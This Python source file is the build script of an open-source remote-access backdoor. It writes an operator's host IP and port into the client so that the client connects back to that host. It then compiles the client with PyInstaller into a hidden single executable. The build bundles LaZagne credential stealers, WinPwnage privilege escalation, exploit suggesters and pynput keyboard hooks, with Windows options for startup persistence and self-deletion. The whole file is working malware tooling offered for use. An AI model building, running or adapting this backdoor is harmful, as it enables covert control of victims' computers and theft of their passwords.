```python
"""
https://github.com/xp4xbox/Python-Backdoor

@author    xp4xbox

license: https://github.com/xp4xbox/Python-Backdoor/blob/master/license
"""
import shutil
import os
import subprocess
import sys
import site
import argparse

# append path, needed for all 'main' files
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(os.path.realpath(__file__)), os.pardir)))

os.chdir(os.path.dirname(os.path.abspath(__file__)))  # ensure proper dir

from src.definitions import platforms
import src.helper as helper

# add lazagne to path and check for supported platform
if platforms.OS == platforms.DARWIN:
    helper.init_submodule("LaZagne/Mac")
elif platforms.OS == platforms.LINUX:
    helper.init_submodule("LaZagne/Linux")
elif platforms.OS == platforms.WINDOWS:
    helper.init_submodule("LaZagne/Windows")
else:
    print("Platform not supported")
    sys.exit(0)

from lazagne.config.manage_modules import get_modules_names as lazagne_get_modules_names
from lazagne.softwares.browsers.chromium_browsers import \
    chromium_based_module_location as lazagne_chromium_based_module_location
from lazagne.softwares.browsers.firefox_browsers import mozilla_module_location as lazagne_mozilla_module_location


def get_pyinstaller():
    # if unix, pyinstaller should be available globally
    if platforms.OS in [platforms.DARWIN, platforms.LINUX]:
        if shutil.which("pyinstaller") is not None and shutil.which("pyinstaller") != "":
            return "pyinstaller"
        else:
            # sometimes pyinstaller is in the local bin on linux
            user_bin = f"{os.environ['HOME']}/.local/bin/pyinstaller"

            if os.path.isfile(user_bin):
                return "\"" + user_bin + "\""

        print("Pyinstaller not found, add manually to path: https://stackoverflow.com/a/39646511")
    else:
        user_path = site.getusersitepackages().split("\\")[:-1]
        user_path = "\\".join(user_path)

        for path in site.getsitepackages() + [site.getusersitepackages(), user_path]:
            _path = f"{path}\\Scripts\\pyinstaller.exe"
            if os.path.isfile(_path):
                return "\"" + _path + "\""

        print("Pyinstaller not found in any site packages.")

    sys.exit(0)



```

```python
def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-hI", "--host-ip", help="Host IP", type=str, default="127.0.0.1", dest="host_ip")
    parser.add_argument("-hH", "--host-hostname", help="Host Hostname (overrides host IP)", dest="host_hostname")
    parser.add_argument("-p", "--port", help="Port", type=int, default="3003", dest="port")
    parser.add_argument("-i", "--icon", help="Path to icon file", type=str, dest="icon")
    parser.add_argument("-c", "--console", help="Console app", action="store_true", dest="console")
    parser.add_argument("-d", "--debug", help="PyInstaller debug", action="store_true", dest="debug")

    if platforms.OS == platforms.WINDOWS:
        parser.add_argument("-s", "--startup", help="Add to startup on launch", action="store_true", dest="startup")
        parser.add_argument("-m", "--melt", help="Melt file on startup", action="store_true", dest="melt")

    return parser.parse_args()


class Main:
    def __init__(self):
        self.args = None
        self.host = ""

        self.parse_args()

        self.update_client()

        self.build()

    def update_client(self):
        client_args = \
            [f"'{self.host.lstrip().rstrip()}'",
             str(self.args.port), str(self.args.host_hostname is not None),
             str(hasattr(self.args, "startup") and self.args.startup),
             str(hasattr(self.args, "melt") and str(self.args.melt))]

        main_match = "if __name__ == \"__main__\":"
        client_new_line = f"{main_match}\n{4 * ' '}MainClient({', '.join(client_args)}).start()\n"

        file = open("main_client.py", "r")
        file_contents = file.readlines()
        file.close()

        i = 0
        for i in range(0, len(file_contents)):
            if file_contents[i][:len(main_match)] == main_match:
                break

        file_contents = file_contents[:i]
        file_contents.append(client_new_line)

        file = open("main_client.py", "w")
        file.writelines(file_contents)
        file.close()
    def parse_args(self):
        self.args = parse_args()

        if self.args.host_hostname:
            self.host = self.args.host_hostname
        else:
            self.host = self.args.host_ip

        if self.args.port:
            if self.args.port > 65535 or self.args.port < 1024:
                print("Invalid port number, between 1024 and 65535")
                sys.exit(0)

        if self.args.icon:
            if not os.path.isfile(self.args.icon) or not self.args.icon.endswith(".ico"):
                print(f"Could not resolve .ico: {self.args.icon}")
                sys.exit(0)

            self.args.icon = "\"" + os.path.normpath(helper.remove_quotes(self.args.icon)) + "\""

        if self.args.debug:
            self.args.console = True

    def build(self):
        windowed = "" if bool(self.args.console) else "--windowed"
        icon_command = f"--icon {self.args.icon}" if self.args.icon else ""
        debug_command = "--debug=all --log-level DEBUG" if bool(self.args.debug) else ""

        # add to path for all python submodules
        if platforms.OS == platforms.WINDOWS:
            paths = f"--path=\"{helper.get_submodule_path('LaZagne/Windows')}\" " \
                    f"--path=\"{helper.get_submodule_path('WinPwnage')}\" " \
                    f"--path=\"{helper.get_submodule_path('wesng')}\""
        elif platforms.OS == platforms.LINUX:
            paths = f"--path=\"{helper.get_submodule_path('LaZagne/Linux')}\""
        else:
            paths = f"--path=\"{helper.get_submodule_path('LaZagne/Mac')}\""

        hidden_imports = ""

        # add lazagne imports (from lazagne setup)
        lazagne_hidden = lazagne_get_modules_names() + [lazagne_mozilla_module_location,
                                                        lazagne_chromium_based_module_location]
        hidden_imports_list = [package_name for package_name, module_name in lazagne_hidden]

        # add pynput hidden imports
        hidden_imports_list += ["pynput.keyboard._win32", "pynput.mouse._win32"]

        for _import in hidden_imports_list:
            hidden_imports += f"--hidden-import={_import} "

        # add binaries
        binary = ""
        if platforms.OS == platforms.WINDOWS:
            msvcp100dll = f"{os.environ['WINDIR']}/System32/msvcp100.dll"
            msvcr100dll = f"{os.environ['WINDIR']}/System32/msvcr100.dll"

            if os.path.exists(msvcp100dll) and os.path.exists(msvcr100dll):
                binary += f"--add-binary={msvcp100dll};msvcp100.dll --add-binary={msvcr100dll};msvcr100.dll"
        elif platforms.OS == platforms.LINUX:
            # add linux exploit suggester sh file
            les_path = f"{helper.get_submodule_path('linux-exploit-suggester')}/linux-exploit-suggester.sh"
            binary += f"--add-data=\"{les_path}:src/submodule/linux-exploit-suggester\""

        command_arg = f"{get_pyinstaller()} main_client.py {windowed} {icon_command} {debug_command} {paths} {binary} {hidden_imports}" \
                      f"--onefile -y --clean --exclude-module FixTk --exclude-module tcl " \
                      f"--exclude-module tk --exclude-module _tkinter --exclude-module tkinter --exclude-module " \
                      f"Tkinter"

        command = subprocess.Popen(command_arg, shell=True, stderr=sys.stdout, stdout=sys.stderr, stdin=sys.stdin)
        _, _ = command.communicate()


if __name__ == "__main__":
    Main()
```